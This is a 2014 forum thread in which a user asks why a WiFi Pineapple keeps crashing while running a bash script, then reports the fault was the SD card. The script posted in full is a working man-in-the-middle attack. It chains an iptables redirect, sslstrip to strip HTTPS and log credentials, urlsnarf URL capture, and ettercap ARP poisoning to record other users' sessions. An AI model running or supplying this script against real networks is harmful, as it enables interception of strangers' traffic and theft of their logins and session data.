pats Posted May 2, 2014 Share Posted May 2, 2014 (edited) Hi, My WP5 is running out of mem, and then crashes/reboots. When running this script: #!/bin/bash while getopts d:i: option do case "${option}" in d) DIR=${OPTARG};; i) INTF=${OPTARG};; esac done mkdir /mnt/sda1/anything/$DIR/ #iptables --flush #iptables --table nat --flush #iptables --delete-chain #iptables --table nat --delete-chain iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 sslstrip -p -k -w /mnt/sda1/anything/$DIR/sslstrip.log & sleep 10 urlsnarf -i $INTF | grep http > /mnt/sda1/anything/$DIR/urlsnarf.txt & sleep 5 ettercap -T -q -i $INTF -w /mnt/sda1/anything/$DIR/SESSION.pcap -L /mnt/sda1/anything/$DIR/SESSION -M arp // // killall sslstrip killall python killall urlsnarf iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 #iptables --flush #iptables --table nat --flush #iptables --delete-chain #iptables --table nat --delete-chain When starting the mem usage is: total used free shared buffersMem: 61804 40496 21308 0 7052-/+ buffers: 33444 28360Swap: 1000164 0 1000164 Any ideas? Or i just asking to much of my lovely device. ( I will buy him a beer to make it up for al those reboots. ) Edited May 2, 2014 by pats Quote Link to comment Share on other sites More sharing options...
pats Posted May 3, 2014 Author Share Posted May 3, 2014 (edited) Solved. Issue was at the SDcard. I formatted it using the web interface. Swap is used again and now the WP5 does not crash anymore when running the script. Edited May 4, 2014 by pats Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.